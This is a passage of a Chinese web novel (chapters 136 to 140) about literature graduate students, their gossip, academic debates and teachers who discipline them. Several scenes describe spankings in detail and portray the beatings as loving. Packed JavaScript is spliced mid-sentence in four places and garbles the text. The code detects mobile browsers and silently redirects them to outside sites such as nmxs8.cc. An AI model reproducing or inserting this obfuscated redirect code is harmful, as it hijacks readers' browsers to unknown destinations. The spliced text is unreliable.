见老师不生气了,刘巍思忙忙爬起来,跟个猴子似的黏在老师身边:“老师,我听说了好多事!” “嗯,又有什么新鲜事了?说来老师听听。” “周老师是不是名气很大啊?” 严先生沉吟片刻,点点头:“是很大,他们周氏世世代代都是文人,他的祖父还是进士,不过他很早就到国外去了,是在欧洲留学,后来到美国和加拿大教书,他的几个孩子都是教授,听说他的长子早逝, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413562|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他很悲痛。嗨,都是道听途说,你听听就算了,不要在背后传老师们的事情,也不要去打听,更不要当着周老师的面提,知道吗?” 刘巍思哪里知道这么多?对八卦的好奇早就盖过了理性,忙抓着老师的手,问:“那老师知不知道周老师和他以前学生的事?” 严先生皱皱眉,没有说话,刘巍思可来劲了,眉飞色舞道:“我在我们学校都没听到哎!但是大师兄他们学校竟然都知道!大师兄问我是不是上过周老师的课了,问我周老师人怎么样,我就跟他说了,但是他又没下文了,我就偷偷去问别人,老师您猜我听到什么!” “巍思,不管你听到什么,打住,不要往下说了,今天不要说,以后也不要说。”严先生隐隐意识到了不对,小孩子太兴奋了,兴奋得不正常。 刘巍思“哎呀”一声,太扫兴了:“老师,您怎么一点都不好奇?” 严先生看着小孩,郑重道:“好事不出门,坏事传千里,大家议论的,总不是好事。况且你说是周老师以前的学生,那就是在国外了,国外的故事传回来,必然面目全非。你打听这样的事,除了惹祸上身,没有别的好处。” “我听听也不行吗?”刘巍思还有些委屈,“又不是我主动讲的,大师兄还问我呢!大师兄也好奇啊!而且周老师确实,第一节课就打我和遂平,跟……跟人家说的就是一个人啊!之前老师也说啊,他桃李满天下,都没有一个学生在身边,就是……那样嘛……” 严先生眉头蹙了起来:“巍思,你原话告诉我,你听到了什么,不要夸大,也不要省略,原原本本地说。” 刘巍思抿抿唇,说:“我是问曹毅的同学的,当时曹毅在跟大师兄说话,我就问他同学了。他同学说,不知道我们学校为什么要挖周懋恭,他们学校都是却之不恭的,说周懋……周老师以前对学生很不好,他打骂学生很严重,不允许学生和别的老师交流,还抢占学生的学术成果。说他在美国的时候跟自己的学生闹到对簿公堂,后来没办法了才去加拿大的。说他现在老了,在国外搞不出什么名堂了才回国的,还可以戴个爱///国的帽子,什么资源都好拿……差不多就这样了。” 话不多,但是每一句都很严重。 严先生长长地呼出一口气,拍拍小孩的肩膀:“去拿戒尺出来。” 136.学术 刘巍思直到捧出戒尺来,都不知道自己为什么要挨打,哭丧着脸,不情不愿把戒尺递出去了。 严先生瞧他那模样,又好气又好笑:“没想明白?” 小孩子虽然不服气,可是对老师的要求却都照做,说话之前竟褪了裤子趴在茶几上:“事实嘛!我也没有散播谣言,就是打听了一下。” “那我问你,你这么好气,怎么不亲自去问周老师?” “我跟周老师不熟呀!” “啪!”严先生手腕一动,一戒尺抽了下去,臀峰处顿时现出一道红痕来,刘巍思面目狰狞,倒抽一口凉气。 “说胡话!你以前好奇什么,就跟着人家问这问那,现在扯什么不熟?!就是心里面没往好的方面想,净想听一些惊人之语是不是?!” 没得反驳了,老师就是他肚子里的蛔虫,什么都知道。 “啪啪啪啪啪”,一连五下戒尺抽在臀尖上,刘巍思“啊啊”地呼痛:“老师慢点打!” “慢点打,我今晚要是不打你,你明天就能把这些话传出去!”严先生说着,即刻抬起戒尺,一顿“噼里啪啦”猛抽,刘巍思经不住连续抽打的剧痛,屁股左扭右扭起来,可是不管他怎么躲,戒尺都能严严实实地照顾到他那两团肉,不多时,臀上便一片通红。 “老师,老师,我错了,我错了……别打,啊!啊啊啊……好痛……” “你还知道疼!我看你是太久不挨打皮都松了!”严先生嘴上教训,手上也不闲着,戒尺抬起又落下,连连抽在那两块结实的肉团上,一连打了四五十下,手臂酸软才放下来。 刘巍思疼得直喘气,好容易不打了,忙伸手捂住屁股,两团肉烫得厉害,都能煎鸡蛋了。 “老师别打了,我以后再不敢了。” 严先生戒尺一扬,刘巍思立刻往后缩去,生怕又挨打。严先生简直恨铁不成钢,骂道:“你再敢干这种事,教鞭都给你抽断!” 刘巍思浑身一抖,赶紧摇头,表示自己绝不再犯。 只是面对戒尺是一回事,没有戒尺盯着就是另一回事了。八卦的种子一旦种下,是很难彻底拔除的,那可是比春风吹又生的野草还要顽强的存在。下一周再上周先生的课,刘巍思不住想着那些流言,想象周先生是如何虐待自己的学生的,又是如何抢占学生的学术成果,对簿公堂的时候学生是如何激烈地控诉他,他又是如何支支吾吾说不出话的,后来败走加拿大大约也很凄凉吧,儿子还死了,惨,太惨了……不过也是活该,谁叫他不干好事!他会不会也这样对阅冬啊?那阅冬岂不是很惨?阅冬都一只眼睛失明了,还要被导师压榨、剽窃、虐待……不会吧…… “晚妆初了明肌雪,春殿嫔娥鱼贯列。凤箫吹动水云间,重按霓裳歌遍彻。临春谁更飘香屑?醉拍阑干情味切。归时休放烛光红,待踏马蹄清夜月。谁的词?” “李煜的《玉楼春》。”庄遂平回答道。 “凤箫吹断水云间,间,时作闲,什么问题?” “是不同文献的传抄或刊刻的讹误,间与闲字很相似,形讹。” 周先生看着他笑了笑:“你师爷是纪鸿云?” 庄遂平点点头:“是。” “你师爷对这个问题怎么说?” “他没有提过,他现在的精力都放在明清文献上。” “正好,他不提,我们来提,这个字到底应该是间还是闲?刘巍思。” “啊?”刘巍思如梦初醒,幸亏留了一只耳朵在听,“我觉得应该是间吧,在水云之间。” “不对,闲更好,间代表空间,但水云是死的,用闲字,水云就活了。”庄遂平反驳道。 一说这个,刘巍思可就不困了,腰背一挺,声音一抬:“可是我们讨论的不是哪个字更好,我们讨论的是这个字应该是什么,原本是什么,我们要尊重文献。” 庄遂平也不服,道:“以李煜的水平,他知道哪个更好,说不定最初就是闲,不知道是哪个水平次的抄的时候抄成了间,把这首词都给抄死了。” “你怎么能用说不定这种表述呢?我们要看文献啊!看最早的文献!” “最早的文献,你得保证版本也是最早的,否则没有任何说服力。” 到底是半路思考的,刘巍思胸脯一挺,却是没说出话来,最后只道:“反正不能用好不好来推测。” 周先生靠在椅背上,安安静静地听他们俩吵了一会儿,待那两人都没话了都望过来,他才慢悠悠道:“我没有答案。” “那还把问题抛出来?”刘巍思刚输给了庄遂平,心气正不平呢! “这就是学术。我们刚刚就在讨论学术。”周先生道,“但可惜,你们的材料太少了。” 庄遂平感觉自己好像开窍了,问:“那我们还需要什么材料?” “做文献,你师爷最在行。要论证这个问题,可以通过查找文献,最早的文献,当然要看版本,年代越早,可信度越高。如果文献欠缺,可以通过研究李煜的词来分析,他是否使用过类似的词句、手法,是否有这样的表达习惯。还可以研究他常学习和阅读的文人,那些人是否有类似的表达,这可能在一定程度上影响了他的创作。还可以研究同时代文人的作品,这样的表达是否是那个时期常见的现象。当然,这些都只能是佐证,无论如何,这个问题都很难定论的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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盛超是来说毕业论文的,题目定下来了,研究综述也差不多写完了,后面就可以专心开始正文的写作。纪慎指导完论文,也不可避免要关心一下研三学生的去向:“你硕士毕业是什么打算?读博士还是等安排工作?” “我还有点犹豫,家里是希望我工作,毕竟硕士已经很稀有了,安排的话去高校或是一些文化单位都是可以的,不过我也有意向读博士的。” 纪慎高兴地点了点头:“你可以再考虑考虑,毕竟你很优秀,无论工作还是读博都是可以胜任的,带你的老师不会太辛苦。不知道哪个老师有这样的运气。” 庄遂平原本是低着头的,一听这话,微微抬眸看了过去,只见纪慎一脸温和的笑,对盛超是说不出的满意。 盛超坦然地接受了老师的夸奖:“如果读博,我还是想跟着老师,毕竟换专业换学校,其实都不划算。老师带我这么久,我是很信任也很崇拜老师的。” 庄遂平低着头,自嘲地笑了笑,想,我最开始,也是很信任很崇拜老师的。 137.电影 盛超跟老师交流完自己的事,话题便有意无意地往庄遂平身上引:“我好久没有见过庄师兄了,师兄那会还说要退学呢,现在已经读博士了,老师还记不记得?” 纪慎嘴角肌肉僵硬地动了动,没有说话,瞥向庄遂平时,一下就抓住了他下拉的唇角。 那并不是一段美好的回忆,不管对他还是对庄遂平来说。 “我那时候猜师兄肯定不会退学,毕竟是有读博潜力的人,退学太可惜了。是吧老师?”盛超虽然是笑着,可话里夹枪带棒的,饶是庄遂平再笨,也听出来了。 纪慎适时打断了这个话题:“盛超你先回去吧,论文有什么问题再来找我,我跟你师兄还有事情。” 盛超点点头,起身告别,出去时对上庄遂平无辜得有点虚弱的目光,肆意一笑。 待办公室里只剩下他们两个人,纪慎才道:“刚刚盛超的话,你不用放在心上。” 庄遂平连头也没抬,只是呆呆地看着某个地方,目光没有聚焦:“我并不在意他说什么,从前是,现在也是。” 纪慎叹了声气:“何必撒谎骗我?若是真不在意他说什么,当初怎么会闹到要退学?” 庄遂平缓缓抬头,看着他略带嘲讽地笑了下:“您以为,我是在意他,才会要退学的吗?” 纪慎一怔,显然没想到自己的想当然是错的。 “当初要退学,我在意的……” 是您而已。 是您的一句评价,一个眼神,一个举动。 话至一半,庄遂平忽然释怀一般,又笑了:“我现在已经不会在意任何事情了。” 纪慎不知怎的,听他这话,觉得心里空落落的,却只能强压着不安的情绪,道:“那就不提这个事了,说一下今天的课吧。” 分明是顺着他的意思,可庄遂平却并未高兴起来,反而更低落了些,恹恹地说了周先生课上的内容,便没话了。 至于赶着回去打电话的刘巍思自然是一路不停,冲进家门连一声“老师”都没喊就直奔电话机,拨了周先生家的号码,原本还忐忑着,没想到竟听见了柏阅冬的声音:“你好。” “阅冬?!我是巍思!” “巍思!你怎么打电话来了?” “我想叫你周末和我们一起看电影去!” “啊?”柏阅冬显然有些错愕。 刘巍思忙道:“你不是可以出门了吗?我上回碰到你,以为你……遂平也好久不见你了。” 柏阅冬过了一会儿,问:“看……什么电影啊?” “还能有什么电影?学校就发了一张电影票啊!” “学校发了电影票吗?我没有啊!” “怎么会呢?大家都有啊!” 柏阅冬沉默了一会,道:“巍思,我晚些再给你打电话。” “哦,那好吧,你记得给我打。” “嗯,再见。” 柏阅冬一挂电话,那一肚子的气恼委屈全涌了上来,为什么他没有电影票?为什么不发给他?是因为他瞎了一只眼睛吗?他连看电影都配不上了吗? 正恼怒着,呼听门锁响动,是周先生回来了,手里提着菜,是下了课顺路去买菜了。 周先生看他眼眶红红的,问:“怎么了?” 柏阅冬像一只河豚,气鼓鼓的,吼道:“我没有电影票!别人都有,就我没有!只有我瞎了,也不配看电影了!” 周先生莫名其妙,还没反应过来,就见小孩猛地跑回房里了,“砰”一声摔上了门。 周先生摇摇头,心想,小孩子又闹脾气了。 不过周先生也没追着去哄,把菜放到厨房,去拨了学院研究生办公室的号码,电话一接通,便道:“我是周懋恭。” “周老师您好!”那边是一个女人接的电话,“这里是咱们学院研究生办公室,您有什么事?” “学校是不是给学生们发了电影票?” “是的,一个月一张。” “我的学生柏阅冬没有收到。” “这样啊,我帮您核实一下情况,晚些再回电话给您,可以吗?” “好。” 周先生挂了电话,便进厨房做饭去了,也不管小孩子在房里干什么,等饭做好,才去敲门让他出来吃饭。 柏阅冬明显是哭过了,眼眶红得比之前更厉害了,眼睫毛还湿湿的。周先生不说话,默默往他碗里夹了一块煎得嫩嫩的蛋饼。柏阅冬夹起来,却送不进嘴里,眼泪“啪嗒啪嗒”掉下来,从蛋饼的缝隙中渗下去了。 周先生放了筷子,静静地看着他哭。 哭了有十几分钟,最后柏阅冬自己都不好意思了,去洗了把脸,再回到餐桌边坐下,都不敢看师父。 周先生把他碗里那块蛋饼夹出来,另外给他夹了一块。柏阅冬夹起来,默默吃了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427419|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 学院的电话是下午回的,解释说学院硕士博士的电影票是由现当代文学专业的一个硕士生发放,因为柏阅冬没有申请宿舍,目前为止也没有在集体活动中露过面,所以发放人也不知道送到哪里。周先生报了家里的地址:“请他在电影日期前送过来吧,麻烦了。” “好的。” 当天晚上,柏阅冬就这样收到了那张小小的电影票,白天的胡思乱想和一通脾气像笑话似的,可是师父竟然一点情绪都没有。 柏阅冬把电影票放在茶几上,什么话也没有,褪了裤子就往长凳上趴,双手抱住长凳一头,脑袋侧向一边,一副随时准备忍痛的模样。 周先生似乎真知道他在想什么,同样不说话,拿起竹节,在他臀上点了点,便狠狠抽了下去。 “啪”一声,竹节打得两团肉往下一凹,柏阅冬脊背一弹,猛地咬住了下唇。 不知道是不是错觉,这次师父下手好像比以往要重。 紧接着,第二下也兜风落下来了,抽在白皙的肉团上,打出一指半宽的红痕。柏阅冬用力抱住了长凳,强忍着臀上传来的生硬钝痛。 一下下,竹节重重打在两瓣屁股上,每一下都像是捶击,又重又狠,把皮肉都打透了,可又没有那种打到骨头上的可怖,只有厚厚的肉团不断承受着不断落下的痛楚。 腰背渐渐热了,甚至有点发潮,手心更是一团汗,屁股每次都随着竹节的起落而缩紧或放松,只是无论如何,那疼痛都没有减少一点,每两秒一下的抽打,把整个屁股都打得发烫,发红,发紫。 圆滚滚的两团肉最后简直像发面馒头,周先生结结实实地抽了五十下,放下竹节。可没想到,小孩子竟然裤子也不穿,两脚绊着就过来了,一下扑到师父怀里,又哭了。 “今天哭了三回了。”周先生提醒他。 柏阅冬不觉得丢人,就想哭,抱着师父哭得起劲。 周先生抱住他,轻轻地拍他的背,拍了一会又往下揉他的屁股,热乎乎的。 “对、对不起,师父……” 周先生温声道:“往后不管什么事,都别往眼睛的事情上想,行吗?” “可是我、我控制不住……我跟别人最大的不同就是我的眼睛……” 周先生一只手缓缓从背后绕过来,轻轻盖住了他受伤的右眼:“你最大的不同,是你用一只眼睛,就看可以看清世界和人心。” 138.作业 柏阅冬偎在师父怀里,抹了把眼泪,道:“师父,如果以后我做得不对,您就狠狠打我,不要生气。” 周先生忍不住笑了笑:“我没见过长这么大还爱哭的男孩子,也没见过求着老师狠狠打的学生。” “这个不算什么,”柏阅冬指指竹节,“以前我不听话,我师父用皮带抽我,还有鸡毛掸子,屁股打肿,打出血,还要坐着写论文,一边写他一边在旁边骂我。” 想起秦昭阳,柏阅冬不由得感慨万分:“但是我知道,他是为我好,他把所有的机会都给我,您记不记得那个词学论坛?本来应该他上的,但是……但是……” “秦老师待你很好。” 柏阅冬点点头:“师父对我也很好,我觉得很幸运。但是我也会想,也许失去一只眼睛,就是我幸运的代价。如果不是右眼失明了,我也没有机会来到师父身边。” 周先生神秘莫测地笑了:“这也不一定,师父从来不打没有准备的仗。” “什么意思?” 周先生却没有再解释,只是揉了揉他的屁股:“上药?” 柏阅冬摇头:“不想动。” 周先生轻轻拍了两下他的红屁股:“懒猪!那就疼着长记性!” 柏阅冬两手揽住师父的脖子,喃喃道:“我困了,师父抱着我睡觉吧。” 周先生笑笑,心想,裤子都没穿,光着屁股就让师父抱着睡觉,当真是个小孩子。 纯正的小孩子周六下午戴着墨镜跟刘巍思、庄遂平一块去电影院了。偌大的放映厅,每一排每一列都是人,柏阅冬坐在两个同学中间,倒没有太害怕,加上电影放映时灯光都暗了,所有人的注意力都放在银幕上,柏阅冬倒还算平静地看了一场电影。 电影结束后,刘巍思提出一起去吃饭:“阅冬,就去那家小酒馆,你记不记得?那会你跟遂平吵架,咱俩就在那儿吃的饭!” 柏阅冬重新戴上墨镜,摇了摇头:“那里,人太多了。” 庄遂平知道他还不太愿意在外面久留,便道:“那我们送你回去吧。” 三人进了学校,一同往教师宿舍区走去。路上刘巍思还是压抑不住心中的好奇,有意无意地问:“阅冬,周老师对你怎么样?” “挺好的。” “他,他打你吗?” 墨镜下的双眼微微一热,柏阅冬想了想,道:“他们这个年纪的老师,信奉棍棒教育也很正常了。严老师不也……” “不是,我的意思是说他对你有没有无缘无故地……” “不会啊,怎么会无缘无故打我?”柏阅冬颇有些奇怪,怎么会问这种问题? “那他有没有强迫你做你不想做的事?” 柏阅冬摇头。 庄遂平也跟着摇头,满是无奈:“巍思,你问的都是些什么问题?” “我担心他啊!他一天到晚在周老师家里不出来!” “是我自己还不能适应,老师没有强迫我。” 不能再往下说了,再说那些话就要流出去了。刘巍思郁闷地放弃了:“好吧,那如果你有什么事,一定要打电话给我啊!” 柏阅冬点了点头。 三人走到楼下就分别了,柏阅冬乘电梯上楼,刘巍思和庄遂平则沿原路返回。庄遂平方才没有多问,可这会却紧追不放:“你心里是不是有什么疑虑?” “没有啊,”刘巍思搪塞着,“我是看周老师第一节课就动手打我们,怕他对阅冬太凶嘛!” “可是周老师人还蛮好的。” “啊,”刘巍思挠挠头,想起他听来的那些话,“还行吧,就接触了两节课,我也不知道。” 不能再继续说了,眼看着庄遂平还要发表意见,刘巍思忙道:“对了!他布置的论文,你写了没有?他说下周要看的。” 话题转得相当生硬,庄遂平不甚满意,却也由着他了:“写了,钱谦益《后秋兴》对杜甫《秋兴》的继承和发展,改一改,誊抄出来就可以拿去了。” “我能不能随便拿一篇去应付呀?” “可以啊,然后挨打,接着就问阅冬周老师有没有打骂他。” 刘巍思敏锐地捕捉到了同学的白眼,“啧”了一声:“我不是写不出来么?文章又不是说有就有。” 庄遂平笑了笑,道:“巍思,我有一个想法。我想把吴伟业的诗点校出来,拿去出版,是不是有点不实际啊?” “不会啊,现在很多人做点校的,只要还没有人做过你就做嘛!反正你要研究他的,点校是迟早的,顺便出版而已啦!” 庄遂平得到了一点鼓励,点点头,问:“那你呢?” “陶渊明还要我点啊?再说了,我又不喜欢点校,为了研究呢,可以搞一搞,但是为了出书就算了,我等着别人搞给我。” “可是,就像周老师说的,这就不是第一手材料了,你获得材料比别人迟,怎么出成果呢?” 刘巍思丝毫不担心:“要做研究,除了新材料,我还可以有新方法、新角度呀!遂平,我发现你有点像纪老师的学生了。” “啊?”庄遂平一愣,怎么说到纪慎身上了? “纪老师最喜欢新材料了,可能搞文献的就是这样吧。还是你师爷教你的啊?去了一个暑假,已经变成文献人了。这叫什么来着?家学传承!” 家学传承。 家学,传承。 这几个字在庄遂平舌尖转了一圈又一圈,终于在寡淡之中尝出了一点不同寻常的酸甜。 这两人交到周先生手里的小论文得到了截然不同的评价。周先生给庄遂平提了一点意见,道:“可以发表,拿回去投稿吧。” “谢谢周老师。”庄遂平毕恭毕敬地拿回了论文,心中不由得雀跃起来。 至于刘巍思敷衍的东西,自然是被一眼看出来。周先生拿起戒尺,敲了敲桌面:“你过来。” 刘巍思有点心虚,磨蹭了好一会儿才起身过去。周先生不催他,反而扭头吩咐庄遂平:“你去把门关上。” 庄遂平想也没想,乖乖照做,可刘巍思却警铃大响,关了门,该不会…… 事实证明,他既够聪明,也拥有足够丰富的挨打经验,才在周先生面前站定,就听到下一步的指令:“裤子,脱了。” 刘巍思脸色煞白,支支吾吾道:“不、不用吧。” 周先生不着急,反而慢悠悠道:“我听说,你是国内高考恢复后第一届考生,在这里读书七八年,每一位老师都对你交口称赞,我实在不知道,他们称赞你什么。” 刘巍思是头一回被这样批评,头都抬不起来了,也没有脸面讨价还价,立刻变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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整个屁股都成了大红色,像是被放在火上烤,连带着腰背也热了起来。周先生用戒尺一端抵在微微肿起的肉团上:“我想,我有必要和严煦和交流一下如何管教学生,也好让他知道他的亲传弟子是如何聪明机智。” 刘巍思瞬间睁大了眼睛:“不行——” 老师知道,真的会打断教鞭! 周先生淡淡地看着他,什么也没说。刘巍思转过身,恳求道:“我知道错了,周老师,我一定好好写论文,下周一定会交给您,求您,别告诉我老师……” 戒尺在桌面点了点,刘巍思无奈地撑了回去。周先生缓缓道:“刘巍思,你很聪明,但是只靠聪明,是没办法支撑你读完博士的。” “我知道,是我的错。” 戒尺又贴上了他的臀,拍了两下之后,再次兜风责落。刘巍思闷哼一声,强忍了下来。可第二下又来了,“啪——啪——啪——”还是那样的节奏,那样的力度,肿胀的钝痛慢慢从表皮渗入肌理,扩散到四肢百骸。刘巍思疼得受不住,可又不敢动,只得咬住下唇,死死扛着,在心里默默数数。 周先生本就存着教训的心,根本不可能轻轻放过,每一下都蓄足了力气,狠狠抽下去,在早已通红的屁股上留下一道又一道尺痕。不过他也并非一味狠责,三十下过后,看面前的屁股微微泛紫,又知道他是真心知错,便收起了戒尺。 “起来吧。” 刘巍思眼角都湿了,却不好意思在这里喊疼,只是默默穿上裤子,疼得面目扭曲也不敢出一点声音。待整理好仪容,才对周先生鞠了个躬:“谢老师责罚。” 周先生轻笑一声,他总算知道别的老师都称赞这个小孩什么了。 139.躁动 下课后,庄遂平拿着他的论文回宿舍去了。读博之后,宿舍变成了单间,虽然小,但至少是独立空间,有些博士甚至带着家属来一起挤在小房间里。 因为住在这里的都是博士,公寓明显比以前的宿舍要安静,仿佛每个人都在发奋读书,脚步声大一点都会影响别人书写辉煌的学术史。 庄遂平安安静静地进了自己的寝室,从书架和柜子里找出许多期刊学报。周先生说他的文章可以投稿,他得找找合适的期刊。即使是在博士十分稀有的年代,发表文章也不是一件随便的事情,并不是一投出去人家就会给你刊发,要看这个期刊一般刊发多长篇幅的文章,刊发文章的作者都是些什么人,还得看平时刊发文章的质量以及风格等等。 庄遂平排除了一批期刊,还剩下五六本,却不自觉地陷入了回忆中。 当年为着他私自投稿发表论文的事,纪慎狠责了他一顿,后来又以此为由,降了他的奖学金等级。其实那点钱不算什么,但是这件事却永远成为了他心中的一根刺。 后来他再没有发表过论文,那篇招致了一顿毒打的文章是他硕士期间发表的唯一学术成果。 如果他现在还是这样,没有经过纪慎同意就发表文章,会怎么样?纪慎会不会歇斯底里地痛骂他,气急败坏地喝令他褪裤,狠狠地罚他?还是会换一副嘴脸,笑着说真不错,有进步? 其实庄遂平很多时候都是期望后者的,可是当他想象着纪慎对自己那样笑,却不由自主泛起了恶心。 他想,那不是纪慎,纪慎才不会那样。 书桌底下的柜子门还开着,庄遂平一低头,瞥见里头那个花纹繁复的木盒子,弯腰将它拿了出来。 师爷给他的东西,但是他还没知道那究竟是什么,至于所谓的时机,更是玄乎,没有一点头绪。 呆坐了一会儿,庄遂平起身出去了,到走廊拿公共电话给师爷家打了电话。师爷家一直有人,电话也总是接得很快,不过,当纪老先生那句熟悉的“您好”传来时,庄遂平还是不由得翘起了嘴角。 “师爷。”声音轻快得像春天衔泥的飞燕。 纪老先生也立刻带了笑:“遂平,怎么有空打电话来?” “刚下周老师的课,有点事情想问师爷。” “你说。” 庄遂平颇有些忐忑:“师爷,我还是想问您,时机什么时候到?” 没想到,纪老先生没有嫌他烦,反而笑了出来:“要问师爷,恰恰说明你心里有数了!” 是吗?庄遂平有些疑惑,又听师爷问:“你在害怕什么?” “我怕,是我想错了。” “那你想怎么做呢?” “我想,再确认一下。” “那就去做。” 纪老先生说得很轻松,可庄遂平却很紧张:“万一,确认之后发现,还没有到真正的时机……” “那就等到下次再确认。”纪老先生缓缓道,“遂平,这不是一个任务,不要急着去完成它,顺其自然。” 庄遂平点点头,也没反应过来师爷看不见:“那我,我试试吧。” “好,想到什么就去做。” “我明白了,谢谢师爷。”庄遂平挂了电话,忐忑的心安定了许多,可一想到自己即将要做的事,心脏又擂起了鼓。 另一边,刘巍思也回了家,见客厅没有人,便径直到书房去了,果真看见严先生在看书。 “老师,我回来了。” 严先生抬头一瞧,怎么一副受了委屈的样子呢?“你怎么了?” 刘巍思微微撅着嘴,走到老师身边蹲下,扶着老师的膝盖,闷声道:“老师打我吧。” 这更奇了,一回家就要挨打,哪里像他?严先生抓着他的手把他拉起来:“出什么事了?跟老师说。” 刘巍思哪里有脸看老师?一直垂着脑袋,连声音也压得低低的:“我没有写作业。” 严先生唇角一动,明显有些惊讶。这孩子只有刚来上学时课业忙不过来才少写过一次作业,后来跟自己闹脾气了也会拖着不改论文,可是现在都博士了,最近也好端端的,怎么不写作业呢? “周老师的作业?” 刘巍思点了点头。 “为什么没有写?” “周老师布置了一篇论文,我没有什么想法,就凑了一篇,周老师一眼就看出来我在敷衍了。” 严先生恨铁不成钢似的叹了口气:“你没有想法,可以来问老师呀,你怎么……巍思,你是不是对周老师还有什么想法?” “不是的,”刘巍思连连摇头,“我只是因为没想出来,我也没有好好想,总觉得……觉得这段时间没劲。” 小孩还是很坦诚的,没有搪塞,也没有撒谎。严先生倒是忍不住想,这么大个男孩子,是不是要谈恋爱了?读书读了这么多年,什么事情也没干过,也是该躁动了。 不过该教训小孩的时候,这些话可不能拿来说。严先生抬起手,一巴掌抽在他屁股上,疼得刘巍思往旁边一躲,小嘴撅得更高了。 “我看是你大师兄不在这里了,没人盯着你,你就肆无忌惮!” 刘巍思双手捂着屁股:“您别告诉大师兄,他肯定要打我。您又不是不知道,大师兄打人最凶了。” “你看看你干的这些事,哪一件不该打?!” “我知道错了嘛!”刘巍思在知错认错这件事上简直是个小天才,老师点一两句或是自己想一想就明白,认错态度也相当良好,不仅语言诚恳,还亲自捧来了他最怕的教鞭,“老师。” 严先生每回教训他都很心疼,尤其用这根竹鞭,每一鞭子下去,他的心都跟着抽痛。可是这孩子又是个不让人省心的,也不知道以后成家了怎么办。 严先生默默在心中叹息,接过了竹鞭。刘巍思手上一空,便立刻褪了裤,伏身趴在书桌上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15439446|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 屁股上还留着一小团红色,严先生看了一眼,问:“周老师打过了?” 刘巍思点了点头,却没有想以此逃罚的心思:“周老师打归周老师打,老师打是老师打,不一样的。” 说是这么说,但严先生把他当亲儿子似的带了十几年,哪能忍心?便轻轻敲敲他的大腿,道:“你知道错了最重要,就打十下,自己数着。” “知道了,老师打吧。” 这根竹鞭,十下也不是好挨的。当“咻啪”声响亮地在耳边炸开,屁股顿时如刀割火烧一般,刘巍思疼得眼前直冒金星,喊出“一”时,脑袋都在“嗡嗡”响。 血红鞭痕横亘在两团肉中间,昭示着教鞭的威力。严先生特意停下,好让他慢慢消化这绵长的疼痛。过了好一会儿,才又扬起竹鞭,“咻啪”破风抽了下去。 “啊!二……” 第二道鞭痕跟第一道平行,落在臀尖下,扩大了疼痛折磨的面积。 “咻啪!” “三!”刘巍思猛地闭上眼睛,攥紧拳头,屁股火辣辣地烧了起来,剧烈的疼痛衬得周先生那顿戒尺如春风细雨一般温和。 “咻啪!” “呃……四……” “咻啪!” “啊!五……老师,慢点……”刘巍思快站不住了,不知道是不是太久没有挨教鞭了,总觉得这回教鞭打得格外重。 严先生如他所愿,让他休息了一会儿。五鞭下去,整个屁股通红一片,等会再打,只能叠在原本的伤上,疼痛必然翻倍。 竹鞭在他腰上点了点,严先生提醒道:“还有五下,会疼,撑住。” 刘巍思做好了心理准备,抻直双腿站好:“老师打吧,我挨得住。” 可是,再怎么挨得住,也是皮肉,更何况是已经受了伤的皮肉。竹鞭再次落下,正抽打在臀尖那道伤上,“咻啪”一声,几乎抽破了皮。刘巍思眼前一黑,差点没摔下去。 “……唔……六……” “咻啪!” “啊呃……七……” “咻啪!” 刘巍思脖颈朝后一仰,久久没有报数——疼失声了。 严先生摇了摇头,道:“还有两下,不用数了。”到底是心疼,没有再慢慢磨他,甚至收了两分力,只用七八分力“啪啪”两下,草草地收了场。 可再怎么轻,也是疼的,刘巍思知道打完了,腿一软,趴在桌子上“呜呜”地哭了。 严先生放下竹鞭,把小孩抱了过来:“好了好了,这么大个人,打两下就哭,被人知道了笑话!” “太疼了。” “谁叫你要讨打?!以后再这样,还要打!” “我不敢了。” 严先生轻轻笑了一声:“每回都是,挨了打就最乖。你说你这个样子,怎么娶媳妇呀?” “啊?”刘巍思茫然地抬起头,仿佛听到了外星人的语言。 140.试探 北方完全入秋了,傍晚时西风掠过城市上空,更显萧瑟寒意。柏阅冬在阳台上吹笛子,必须得穿棉外衣了。 推拉门没有关死,秋风和笛声一起从门缝中涌进来,又低沉又干燥,就连一向平静如水的周先生也免不了受影响。 